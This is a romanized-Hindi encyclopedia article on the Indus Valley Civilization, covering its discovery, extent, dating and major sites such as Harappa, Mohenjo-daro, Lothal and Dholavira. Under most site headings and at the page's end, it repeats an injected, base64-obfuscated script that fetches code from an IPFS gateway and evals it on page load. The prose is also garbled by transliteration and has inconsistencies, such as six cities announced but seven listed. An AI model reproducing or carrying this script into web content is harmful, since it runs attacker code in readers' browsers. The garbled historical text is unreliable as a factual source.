सिंधु घाटी सभ्यता

aj se lagabhag 70 varsh poorv pakistan ke 'pashchimi panjab praant' ke 'mantagomari zile' mean sthit 'hariyana' ke nivasiyoan ko shayad is bat ka kianchitmatr bhi abhas nahian tha ki ve apane as-pas ki jamin mean dabi jin eetoan ka prayog itane dh dalle se apane makanoan ka nirman mean kar rahe haian, vah koee sadharan eetean nahian, balki lagabhag 5,000 varsh purani aur poori tarah vikasit sabhyata ke avashesh haian. isaka abhas unhe tab hua jab 1856 ee. mean 'j aaun viliyam brantam' ne karachi se lahaur tak relave lain bichhavane hetu eetoan ki apoorti ke in khandaharoan ki khudaee prarambh karavayi. khudaee ke dauran hi is sabhyata ke pratham avashesh prapt hue, jise is sabhyata ka nam ‘h dappa sabhyata‘ ka nam diya gaya.

is ajnat sabhyata ki khoj ka shrey 'rayabahadur dayaram sahani' ko jata hai. unhoanne hi puratattv sarvekshan vibhag ke mahanideshak 'sar j aaun marshal' ke nirdeshan mean 1921 mean is sthan ki khudaee karavayi. lagabhag ek varsh bad 1922 mean 'shri rakhal das banarji' ke netritv mean pakistan ke siandh prant ke 'larakana' zile ke mohanajoda do mean sthit ek bauddh stoop ki khudaee ke samay ek aur sthan ka pata chala. is navinatam sthan ke prakash mean ane k uparant yah man liya gaya ki sanbhavatah yah sabhyata siandhu nadi ki ghati tak hi simit hai, atah is sabhyata ka nam ‘sidhu ghati ki sabhyata‘ (indus Valley Civilaction) rakha gaya . sabase pahale 1927 mean 'h dappa' namak sthal par utkhanan hone ke karan 'sindhu sabhyata' ka nam 'h dappa sabhyata' p da. par kalantar mean 'piggat' ne h dappa evan mohanajod doan ko ‘ek vistrit samrajy ki ju dava rajadhaniyaan‘ batalaya.

ab tak bharatiy upamahadvip mean is sabhyata ke lagabhag 1000 sthanoan ka pata chala hai jinamean kuchh hi paripakv avastha mean prapt hue haian. in sthanoan ke keval 6 ko hi nagar ki sanjna di jati hai. ye haian -

1. h dappa,
2. mohanajoda do,
3. chanhood doan,
4. lothal,
5. kalibanga,
6. hisar
7. banavali.

sabhyata ka vistar

ab tak is sabhyata ke avashesh pakistan aur bharat ke panjab, siandh, baloochistan, gujarat, rajasthan, hariyana, pashyimi uttar pradesh, jammoo-kashmir ke bhagoan mean paye ja chuke haian. is sabhyata ka phailav uttar mean 'jammoo' ke 'maanda' se lekar dakshin mean narmada ke muhane 'bhagatarav' tak aur pashchimi mean 'makaran' samudr tat par 'sutkagenador' se lekar poorv mean pashchimi uttar pradesh mean merath tak hai.

is sabhyata ka sarvadhik pashchimi purasthal 'sutkagenador', poorvi purasthal 'alamagir', uttari purasthal 'maanda' tatha dakshini purasthal 'dayamabad' hai. lagabhag tribhujakar vala yah bhag kul karib 12,99,600 varg kimi. ke kshetr mean phaila hua hai. sindhu sabhyata ka vistar ka poorv se pashchimi tak 1600 kimi. tatha uttar se dakshin tak 1400 kimi. tha. is prakar siandhu sabhyata samakalin misr ya 'sumeriyan sabhyata' se adhik vistrit kshetr mean phaili thi.

siandhu sabhyata ke sthal ab nimnalikhit kshetroan mean milate haian -

baluchistan

uttari baluchistan mean sthit 'kveta' tatha 'jaanb' ki dhariyoan mean saiandhav sabhyata se sambandhit koee bhi sthal nahian hai. kintu dakshini baloochistan mean saiandhav sabhyata ke kee purasthal sthit haian jisamean ati mahattvapoorn hai 'makaran tat'. makaran tat pradesh par milane vale anek sthaloan mean se puratatvik drishti se keval tin sthal mahattvapoorn haian-

1. sutkagenador (dashk nadi ke muhane par),
2. sutkakoh (shadikaur ke muhane par) aur
3. balakot (viandar nadi ke muhane par), davarakot (son miyani kha di ke poorv mean vidar nadi ke muhane par).

uttar pashchimi simaant

yahaan sari samagri, 'gomal ghati' mean kendrit pratit hoti hai jo afaganistan jane ka ek atyant mahattvapoorn marg hai. 'gumala' jaise sthaloan par siandhu poorv sabhyata ke nikshepoan ke oopar siandhu sabhyata ke avashesh prapt hue haian.

siandhu

inamean kuchh sthal prasiddh haian jaise - 'mohanajod doan', 'chanhood doan', 'joodirojod doan', (kachchhi maidan mean jo ki sibi aur jaikobabad ke bich siandhu ki badh ki mitti ka vistar hai) 'amari' (jisamean siandhu poorv sabhyata ke nikshep ke oopar siandhu sabhyata ke nikshep milate haian) 'kotadiji', 'alimurad', 'rahamanadheri', 'ranadhudee' ityadi.

pashchimi panjab

is kshetr mean bahut zyada sthal nahian hai. isaka karan samajh mean nahian ata. ho sakata hai panjab ki nadiyoan ne apana marg badalate-badalate kuchh sthaloan ka nasht kar diya ho. isake atirikt 'dera ismailakhana', 'jalilapur', 'rahamanadheri', 'gumala', 'chak-puravanasyal' adi mahattvapoorn purasthal hai.

bahavalapur

yahaan ke sthal sookhi huee sarasvati nadi ke marg par sthit haian. is marg ka sthaniy nam ka ‘hakara‘ hai . 'ghagghar hamara' arthat sarasvati drishadvati nadiyoan ki ghatiyoan mean h dappa sanskriti ke sthaloan ka sarvadhik sankendran (sarvadhik sthal) prapt hua hai. kintu is kshetr mean abhi tak kisi sthal ka utkhanan nahian hua hai. is sthal ka nam 'kudavala ther' hai jo prakatatah bahut b da hai.

rajasthan

yahaan ke sthal 'bahabalapur' ke sthaloan ke nirantar kram mean haian jo prachin sarasvati nadi ke sookhe hue marg par sthit hai. is kshetr mean sarasvati nadi ko 'ghaghghar' kaha jata hai. kuchh prachin drishadvati nadi ke sookhe hue marg ke sath- sath bhi hai jise ab 'chaitag nadi' kaha jata hai. is kshetr ka sabase mahattvapoorn sthal 'kalibanga' hai. kalibanga namak purasthal par bhi pashchimi se gadhi aur poorv mean nagar ke do tile, h dappa tatha mohanajod doan, ki bhaanti vidyaman hai. rajasthan ke samast siandhu sabhyata ke sthal adhunik ganganagar zile mean ate hai.

hariyana

hariyana ka mahattvapoorn siandhu sabhyata sthal hisar zile mean sthit 'banavali' hai. isake atirikt 'mithatal', 'sisaval', 'vanavali', 'rakhigadh', 'va da tatha 'valoo' namak sthaloan ka bhi utkhanan kiya ja chuka hai.

poorvi panjab

is kshetr ke mahattvapoorn sthal 'rop d sandhol' hai. hal hi mean chandigadh nagar mean bhi h dappa sanskriti ke nikshep paye gaye haian. isake atirikt 'kotalanihang khan', 'chak 86 va da', 'dher-majara' adi purasthaloan se saiandhav sabhyata se sambaddh puravashesh prapt hue hai.

ganga-yamuna doab

yahaan ke sthal merath zile ke 'alamagir' tak phaile hue haian. ek any sthal saharanapur zile mean sthit 'hulas' tatha 'ba dagaanv' hai. hulas tatha ba dagaanv ki ganana pashvarti sindhu sabhyata ke purasthaloan mean ki jati hai.

jammoo

is kshetr ke matr ek sthal ka pata laga hai, jo 'akhanoor' ke nikat 'bhaanda' mean hai. yah sthal bhi sindhu sabhyata ke paravarti charan se sambanghit hai.

gujarat

1947 ke bad gujarat mean saiandhav sthaloan ki khoj ke lie vyapak star par utkhanan kiya gaya . gujarat ke 'kachchh', 'saurashtr' tatha gujarat ke maidani bhagoan mean saiandhav sabhyata se sambanghit 22 purasthal hai, jisamean se 14 kachchh kshetr mean tatha shesh any bhagoan mean sthit hai. gujarat pradesh mean ye pae ge pramukh purasthaloan mean 'rangapur', 'lapethal', 'padari', 'prabhas-patan', 'rajhadi', 'deshalapur', 'megham', 'vetelod', 'bhagavatarav', 'surakotada', 'nageshvar', 'kuntasi', 'shikarapur' tatha 'dhaulavira' adi hai.

maharashtr

pradesh ke 'dayamabad' namak purasthal se mitti ke thikare prapt hue hai jin par chiraparichit saiandhav lipi mean kuchh likha mila hai, kintu paryapt sakshy ke abhav mean saiandhav sabhyata ka vistar maharashtr tak nahian mana ja sakata hai. tamr moortiyoan ka ek nidhan, jise prayah hadappa sanskriti se sambaddh kiya jata hai, vah maharashtr aur dayamadabad namak sthan se prapt hua hai - isamean 'rath chalate manushy', 'saand', 'gaianda', aur 'hathi' ki akriti pramukh hai. yah sabhi thos dhatu ki hai aur vajan kee kilo hai, isaki tithi ke vishay mean viddhanoan mean matabhed hai.

afaganistan

hindukash ke uttar mean afaganistan mean sthit 'muandigak' aur 'sortagoee' do purasthal hai. muandigak ka utkhanan 'je.em. kaisal' dvara kiya gaya tha tatha sortagoee ki khoj evan utkhanan 'henari phraiankaphart' dvara karaya gaya tha. sortagoee lajavard ki prapti ke lie basayi gayi vyaparik basti thi.

kal nirdharan

saiandhav sabhyata ke kal ko nirdharit karana niahsandeh b da hi kathin kam hai, phir bhi vibhinn viddhanoan ne is vivadaspad vishay par apane vichar vyakt kiye haian. 1920 ee.poo. ke dashak mean sarvapratham h dappaee sabhyata ka jnan hua.

• h dappaee sabhyata ka kal nirdharan mukhy roop se 'mesopotamiya' mean 'ur' aur 'kish' sthaloan par pae ge h dappaee mudraoan ke adhar par kiya gaya. is kshetr mean sarvapratham prayas 'j aaun marshal' ka raha. unhoanne 1931 ee. mean is sabhyata ka kal 3250 ee.poo. 2750 ee.poo. nirdharit kiya.
• hvilar ne isaka kal 2500 - 1500 ee.poo. mana hai. bad ke samay mean kal nirdharan ki rediyo vidhi ka avishkar hua aur is vidhi se is sabhyata ka kal nirdharan is prakar hai-

1. poorv h dappaee charan: lagabhag 3500-2600 ee.poo.
2. paripakv h dappaee charan - lagabhag 2600-1900 ee.poo.
3. uttar h dappaee charan: lagabhag 1900-1300 ee.poo.

• rediyo karban ‘si-14‘ jaisi navin vishleshan paddhati ke dvara h dappa sabhyata ka sarvamany kal 2500 ee.poo. se 1750 ee.poo. ko mana gaya hai.

vibhinn viddhanoan dvara siandhu sabhyata ka kal nirdharan kal viddhan 1- 3,500 - 2,700 ee.poo. madhosvaroop vats 2- 3,250 - 2,750 ee.poo. j aaun marshal 3- 2,900 - 1,900 ee.poo. dels 4- 2,800 - 1,500 ee.poo. . arnest maike 5- 2,500 - 1,500 ee.poo. martimar hyilar 6- 2,350 - 1,700 ee.poo. si.je. gaid 7- 2,350 - 1,750 ee.poo. di.pi. agraval 8- 2,000 - 1,500 ee.poo. pheyar sarvis

sidhu sabhyata ke pramukh sthal evan usake khojakarta pramukh sthal khojakarta varsh 1- h dappa madho svaroop vats, dayaram sahani 1921 2- mohanajoda do rakhal das banarji 1922 3- rop d yajnadatt sharma 1953 4- kalibanga brajavasi lal, amalanand ghosh 1953 5- lothal e. ranganath rav 1954 6- chanhood doan en.gopal majoomadar 1931 7- soorakotada jagapati joshi 1964 8- banavali ravindr sianh visht 1973 9- alamagirapur yajnadatt sharma 1958 10- rangapur madhosvaroop vats, ranganath rav 1931.-1953 10- kotadiji phazal ahamad 1953 11- sutkagenador aaurel stain, jarj eph. dels 1927

h dappakalin nadiyoan ke kinare base nagar nagar nadi/sagar tat 1- mohanajoda do siandhu nadi 2- h dappa ravi nadi 3- rop d sataluj nadi 4- kalibanga ghagghar nadi 5- lothal bhogava nadi 6- sutkagenador dasht nadi 7- valakot arab sagar 8- sotkakoh arab sagar 9- alamagirapur hindan nadi 10- rangapur madar nadi 10- kotadiji siandhu nadi

h dappa sabhyata ke purasthal

purasthal	sthan
1- h dappa sabhyata ka sarvadhik pashchimi purasthal	satkagendor (baloochistan)
2- sarvadhik poorvi purasthal	alamagirapur (merath)
3- sarvadhik uttar poorasthal	maanda (jammoo kashmir)
4- sarvadhik dakshini purasthal	dayamabad (maharashtr)

sidhu sabhyata ke nirmata aur nivasi

yah atyant hi vivadagrast vishay hai. is vivad mean kuchh viddhanoan ke prakar haian-

• 'd aau. lakshman svaroop' aur 'ramachandr' siandhu sabhyata evan vaidik sabhyata donoan ke nirmata ke roop mean aryo ko manate haian.
• 'gardan chaild' siandhu sabhyata ke nirmata ke roop mean 'sumeriyan' logoan ko manate haian.
• 'rakhal das banarji' is sabhyata ke nirmata ke roop mean dravi doan ko manate haian
• hvilar ka manana hai ki rrigved mean varnit dasyu evan ‘das‘ siandhu sabhyata ke nirmata the.
• in samast vivadoan ka avalokan karake 'd aau. rama shankar tripathi' ka kahana hai ki 'aitihasik jnan ki is sima par kh de hokar abhi is vishay par hamara maun hi sarahy aur uchit hai.'

mukhy sthal

h dappa

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

h dappa 6000-2600 eesa poorv ki ek suvyavasthit nagariy sabhyata thi. mohanajod do, meharagadh aur lothal ki hi shrriankhala mean h dappa mean bhi purrattav utkhanan kiya gaya. yahaan mistr aur maisopotamiya jaisi hi prachin sabhyata ke avashesh mile hai. isaki khoj 1920 mean ki gee. vartaman mean yah pakistan ke panjab prant mean sthit hai. san 1857 mean lahaur multan relamarg banane mean h dappa nagar ki eetoan ka istemal kiya gaya jisase ise bahut nuqasan pahuancha.

mohanajod doan

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• mohan jod do, jisaka ki arth murdo ka tila hai 2600 eesa poorv ki ek suvyavasthit nagariy sabhyata thi.
• h dappa, meharagadh aur lothal ki hi shrriankhala mean mohan jod do mean bhi purrattav utkhanan kiya gaya.
• yahaan misr aur maisopotamiya jaisi hi prachin sabhyata ke avashesh mile hai.

is sabhyata ke dhvansavashesh pakistan ke sindh prant ke 'larakana zile' mean siandhu nadi ke dahine kinare par prapt hue haian. yah nagar karib 5 ki.mi. ke kshetr mean phaila hua hai. mohanajod doan ke tilo ka 1922 ee. mean khojane ka shrey 'rakhaladas banarji' ko prapt hua.

chanhood doan

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

mohanajoda do ke dakshin mean sthit chanhood doan namak sthan par muhar evan gu diyoan ke nirman ke sath-sath haddiyoan se bhi anek vastuoan ka nirman hota tha. is nagar ki khoj sarvapratham 1931 mean 'en.gopal majoomadar' ne kiya tatha 1943 ee. mean 'maike' dvara yahaan utkhanan karavaya gaya. sabase nichale star se 'saiandhav sanskriti' ke sakshy milate haian.

lothal

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

yah gujarat ke ahamadabad zile mean 'bhogava nadi' ke kinare 'saragavala' namak gram ke samip sthit hai. khudaee 1954-55 ee. mean 'ranganath rav' ke netritv mean ki gee. is sthal se samakalin sabhyata ke paanch star pae ge haian. yahaan par do bhinn-bhinn tile nahian mile haian, balki poori basti ek hi divar se ghiri thi.

rop d

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panjab pradesh ke 'rop d zile' mean sataluj nadi ke baane tat par sthit hai. yahaan svatantrata prapti ke pashchat sarvapratham utkhanan kiya gaya tha. isaka adhunik nam 'roop nagar' tha. 1950 mean isaki khoj 'bi.bi.lal' ne ki thi.

kalibanga (kale rang ki choo diyaan)

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

yah sthal rajasthan ke ganganagar zile mean ghagghar nadi ke baean tat par sthit hai. khudaee 1953 mean 'bi.bi. lal' evan 'bi. ke. thap d' dvara karayi gayi. yahaan par prakh h dappa evan h dappakalin sanskriti ke avashesh mile haian.

soorakotada

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• yah sthal gujarat ke kachchh zile mean sthit hai.
• isaki khoj 1964 mean 'jagapati joshi' ne ki thi is sthal se 'siandhu sabhyata ke patan' ke avashesh parilakshit hote haian.

alamagirapur (merath)

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

pashchim uttar pradesh ke merath zile mean yamuna ki sahayak hindan nadi par sthit is purasthal ki khoj 1958 mean 'yajn datt sharma' dvara ki gayi.

rangapur (gujarat)

• gujarat ke kathiyava d pray:dvip mean bhadar nadi ke samip sthit is sthal ki khudaee 1953-54 mean 'e. ranganath rav' dvara ki gee.
• yahaan par poorv hadappa kalin saskriti ke avashesh mile haian.
• yahaan mile kachchi eetoan ke durg, naliyaan, mridabhaand, baant, patthar ke phalak adi mahattvapoorn haian.
• yahaan dhan ki bhoosi ke dher mile haian.
• yahaan uttarottar h dappa sanskriti ke sakshy milate haian.

banavali (hariyana)

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• hariyana ke hisar zile mean sthit do saanskritik avasthaoan ke avashesh mile haian.
• h dappa poorv evan h dappakalin is sthal ki khudaee 1973-74 ee. mean 'ravindr sianh visht' ke netritv mean ki gayi.

alimurad (siandh praant)

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• siandh praant mean sthit is nagar se kuaan, mitti ke bartan, karniliyan ke manake evan pattharoan se nirmit ek vishal durg ke avashesh mile haian.
• isake atirikt is sthal se bail ki laghu mrinmoorti evan kaanse ki kulha di bhi mili hai.

sutkagenador (dakshin baloochistan)

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• yah sthal dakshin baloochistan mean dasht nadi ke kinare sthit hai.

h dappakalin sabhyata se sambandhit kuchh navin kshetr

kharvi (ahamadabad)

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• ahamadabad se 114 kimi. ki doori par sthit is sthan se h dappakalin mridabhaand evan tamr abhooshan ke avashesh mile hai.

kunutasi (gujarat)

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• gujarat ke rajakot zile mean sthit is sthal ki khudaee 'em.ke. dhavalikar', 'em.ar.ar. raval' tatha 'vaee.em. chitalavas' dvara karavaee gee.

dhaulavira

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• is sthal ki khudaee se vishal saindhav kalin nagar ke avashesh ka pata chalata hai.

kotadiji (siandh praant)

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• siandh praant ke 'khairapur' namak sthan par yah sthal sthit hai.
• sarvapratham isaki khoj 'dhurye' ne 1935 ee. mean ki .
• niyamit khudaee 1953 ee. mean phazal ahamad khan dvara sampann karayi gayi.

balakot (baloochistan)

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• nalakot se lagabhag 90 ki.mi. ki doori par baloochistan ke dakshini tatavarti par balakot sthit tha.
• isaka utkhanan 1963-1970 ke bich 'j aaurj eph.dels' dvara kiya gaya .

allahadinoan (arab mahasagar)

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• allahadinoan sindhu aur arab mahasagar ke sangam se lagabhag 16 kimi. uttar-poorv tatha karachi se poorv mean sthit hai.
• 1982 mean 'pheyar sarvis' ne yahaan par utkhanan karavaya tha.

manda

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• chenab nadi ke dakshini kinare par sthit yah vikasit h dappa sanskriti ka sabase uttari sthal hai.
• isaka utkhanan 1982 mean 'je.pi. joshi' tatha 'madhubala' dvara karavaya gaya tha.
• utkhanan se prapt yahaan se tin saanskritik star

1. prakh saindhav,
2. vikasit saiandhav, tatha
3. uttar kalin saiandhav prakash mean ae.

• yahaan vishesh prakar ke mridabhaand (mitti ke bartan), gair h dappa se sambaddh kuchh thikara pakki mitti ki pindikaean (terakota kek) adi prapt hue hai.

bhagavanapura (hariyana)

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• bhagavanapura hariyana ke kurukshetr zile mean sarasvati nadi ke dakshini kinare par sthit hai.
• ji.pi. joshi ne isaka utkhanan karavaya tha.
• yahaan ke pramukh avasheshoan mean saphed, kale tatha asamani rang ki kaanch ki choo diyaan, taanbe ki choo diyaan pramukh hai.

desalapur (gujarat)

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• gujarat ke bhuj zile mean sthit 'desalapur' ki khudaee 'pi.pi. pandya' aur 'ek. ke. dhake' dvara kiya gaya .
• bad mean 'saunadararajan' dvara bhi utkhanan kiya gaya.

rojadi (gujarat)

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• rojadi gujarat ke saurashtr zile mean sthit tha.

kaansyayugin dhaulavira

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

h dappa sabhyata‘ ke purasthaloan mean ek navin k di ke roop mean ju dane vala purasthal dhaulavira kachchh ke ran ke madhy sthit dvip 'khadir' mean sthit hai. is dvip ke samip hi 'surkhav'- shahar sthit hai. dhaulavir gaanv 'khadir dvip' ki uttari-pashchimi sima par basa hai. dhaulavira purasthal ki khudaee mean mile avasheshoan ka prasar 'manahar' evan 'manasar' namak naloan ke bich mean hua tha. dhaulavira namak h dappaee sanskriti vale is nagar ki yojana samanaantar chaturbhuj ke roop mean ki gayi thi. is nagar ki lambaee poorab se pashchim ki or hai. nagar ke charoan taraph ek majaboot divar ke nirman ke sakshy mile haian. nagar ke mahaprasad vale bhag ke uttar mean ek vistrit sampoorn evan vyapak samatal maidan ke avashesh mile haian. isake uttar mean nagar ka madhyam bhag hai jise 'pur' ki sanjna di gayi thi. isake poorv mean nagar ka tisara mahattvapoorn bhag sthit hai jise 'nichala shahar' ya phir 'avam nagar' kaha jata hai

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>